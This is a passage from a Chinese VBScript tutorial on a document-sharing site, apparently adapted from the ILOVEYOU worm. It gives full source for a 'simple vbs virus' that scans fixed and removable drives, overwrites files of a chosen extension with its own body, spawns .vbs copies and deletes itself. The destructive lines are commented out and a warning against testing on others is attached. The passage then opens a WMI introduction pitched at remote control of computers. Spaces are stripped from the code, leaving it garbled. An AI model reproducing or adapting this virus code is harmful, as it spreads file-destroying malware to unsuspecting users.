hù):返回指定維數(shù)數(shù)組的最大有效下標(biāo)。UCase函數(shù):返回的字符串已經(jīng)被轉(zhuǎn)換為大寫(xiě)字母。VarType函數(shù):返回標(biāo)識(shí)變體子類型的數(shù)值。Weekday函數(shù):返回表示星期幾的數(shù)值。WeekdayName函數(shù):返回表示星期幾的字符串。Year函數(shù):返回表示年份的數(shù)值。vbs病毒的簡(jiǎn)單例子源代碼解析說(shuō)明:作者對(duì)某些代碼進(jìn)行了修改。該文件是一個(gè)完整的程序。該文件執(zhí)行之后,會(huì)尋找硬盤(pán)上所有滿足條件的文件,對(duì)其進(jìn)行強(qiáng)制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一個(gè)相同文件名但后帶.vbs的文件。因此,請(qǐng)注意設(shè)立好破壞測(cè)試條件,千萬(wàn)不要對(duì)他人進(jìn)行測(cè)試,否則,一切后果自負(fù)。dimfolder,fso,foldername,f,d,dc
setfso=createobject("scripting.filesystemobject")
setself=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall'讀取病毒體,以備復(fù)制到文件
self.close
setdc=fso.Drives
foreachdindc
ifd.drivetype=3ord.drivetype=2then'檢查磁盤(pán)類型
wscript.echod'彈出窗口,顯示找到盤(pán)符
scan(d)
endif
next
lsfile=wscript.scriptfullname'該腳本程序路徑
setlsfile=fso.getfile(lsfile)
lsfile.delete(true)'病毒運(yùn)行后自我刪除(本人自加,愛(ài)蟲(chóng)病毒本身沒(méi)有該代碼)
subscan(folder_)
onerrorresumenext
setfolder_=fso.getfolder(folder_)
setfiles=folder_.files
foreachfileinfiles
ext=fso.GetExtensionName(file)'獲取文件后綴
ext=lcase(ext)'后綴名轉(zhuǎn)換成小寫(xiě)字母
ifext="mp5"then'如果后綴名是mp5,當(dāng)然不存在這種文件,這里可以自己修改,但是注意。請(qǐng)自己建立相應(yīng)后綴名的文件,最好是非正常后綴名
setap=fso.opentextfile(file.path,2,true)
'ap.writevbscopy'覆蓋文件,慎用
ap.close
setcop=fso.getfile(file.path)
cop.copy(file.path&".vbs")'創(chuàng)建另外一個(gè)病毒文件
'file.delete(true)'刪除原來(lái)文件
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders'搜索其他目錄
scan(subfolder)
next
endsubVbs腳本編程簡(jiǎn)明教程補(bǔ)充讀物-初窺WMI今天,我將給大家介紹個(gè)朋友,它就是MicrosoftWindowsManagementInstrumentation(WMI)。中文名字叫Windows管理規(guī)范。從Windows2000開(kāi)始,WMI(Windows管理規(guī)范)就內(nèi)置于操作系統(tǒng)中,并且成為了Windows系統(tǒng)管理的重要組成部分。所以大家很容易就能見(jiàn)到它的,因?yàn)槲覀冎辽僖矐?yīng)該是個(gè)Windows2000的使用者了。下面我將詳細(xì)介紹它的每個(gè)細(xì)節(jié),讓你從不認(rèn)識(shí)它到喜歡上它。WMI能做什么?
WMI不僅可以獲取想要的計(jì)算機(jī)數(shù)據(jù),而且還可以用于遠(yuǎn)程控制。遠(yuǎn)程控制計(jì)算機(jī)可是大家都喜歡的東西。很多遠(yuǎn)程監(jiān)視控制類軟件通常的做法是:在遠(yuǎn)程計(jì)算機(jī)上運(yùn)行服務(wù)端后臺(tái)程序,在本地計(jì)算機(jī)上運(yùn)行一個(gè)客戶器端控制程序,通過(guò)這二個(gè)程序的勾結(jié)來(lái)實(shí)現(xiàn)對(duì)計(jì)算機(jī)的遠(yuǎn)程控制。這種作法的缺點(diǎn)是十分明顯的,當(dāng)服務(wù)端程序關(guān)了,這種遠(yuǎn)程監(jiān)控就無(wú)法實(shí)現(xiàn)了,因?yàn)闆](méi)有內(nèi)線了。而WMI實(shí)現(xiàn)的遠(yuǎn)程監(jiān)視和控制完全不需要另外裝什么服務(wù)端的東西,系統(tǒng)默認(rèn)就將WMI服務(wù)給開(kāi)了。具體說(shuō)來(lái),WMI的本領(lǐng)如下:
1.獲取本地和遠(yuǎn)程計(jì)算機(jī)的硬件軟件信息。
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 中獸醫(yī)基礎(chǔ)理論知到課后答案智慧樹(shù)章節(jié)測(cè)試答案2025年春河北農(nóng)業(yè)大學(xué)
- 阜陽(yáng)幼兒師范高等??茖W(xué)?!禨cratch與創(chuàng)意設(shè)計(jì)》2023-2024學(xué)年第二學(xué)期期末試卷
- 云南省玉溪市元江縣第一中學(xué)2025屆高三第二學(xué)期學(xué)生月考測(cè)試卷(2.22)化學(xué)試題試卷含附加題含解析
- 溫州職業(yè)技術(shù)學(xué)院《現(xiàn)代漢語(yǔ)A3》2023-2024學(xué)年第一學(xué)期期末試卷
- 宿州學(xué)院《金融工程學(xué)》2023-2024學(xué)年第二學(xué)期期末試卷
- 湖北省武漢市武漢小學(xué)瑞景小學(xué)2024-2025學(xué)年五年級(jí)數(shù)學(xué)第二學(xué)期期末教學(xué)質(zhì)量檢測(cè)試題含答案
- 天津生物工程職業(yè)技術(shù)學(xué)院《化工熱力學(xué)》2023-2024學(xué)年第二學(xué)期期末試卷
- 公司車間衛(wèi)生流動(dòng)紅旗評(píng)比方案
- 酸罐區(qū)土建施工方案
- 2025年中考語(yǔ)文寫(xiě)作素材積累:《人民日?qǐng)?bào)》作文素材之人文情懷
- 統(tǒng)編版(2024)道德與法治七年級(jí)下冊(cè)第一單元 珍惜青春時(shí)光 單元測(cè)試卷(含答案)
- 蘇教版數(shù)學(xué)一年級(jí)下冊(cè)(2024)第七單元觀察物體(一)綜合素養(yǎng)測(cè)評(píng) A 卷(含答案)
- 2025年甘肅省張掖市民樂(lè)縣招聘專業(yè)技術(shù)人員9人(第二期)歷年高頻重點(diǎn)模擬試卷提升(共500題附帶答案詳解)
- 2025年湖北武漢理工大學(xué)學(xué)生輔導(dǎo)員招聘18人歷年高頻重點(diǎn)模擬試卷提升(共500題附帶答案詳解)
- 2025年烏蘭察布醫(yī)學(xué)高等??茖W(xué)校高職單招職業(yè)技能測(cè)試近5年??及鎱⒖碱}庫(kù)含答案解析
- 2024入團(tuán)知識(shí)題庫(kù)(含答案)
- 義務(wù)教育英語(yǔ)課程標(biāo)準(zhǔn)(2022年版)
- JT∕T 1431.3-2022 公路機(jī)電設(shè)施用電設(shè)備能效等級(jí)及評(píng)定方法 第3部分:公路隧道照明系統(tǒng)
- 總包單位向各分包移交建筑一米線交接單
- DB37∕T 5197-2021 公共建筑節(jié)能監(jiān)測(cè)系統(tǒng)技術(shù)標(biāo)準(zhǔn)
- 門(mén)診特定病種待遇認(rèn)定申請(qǐng)表
評(píng)論
0/150
提交評(píng)論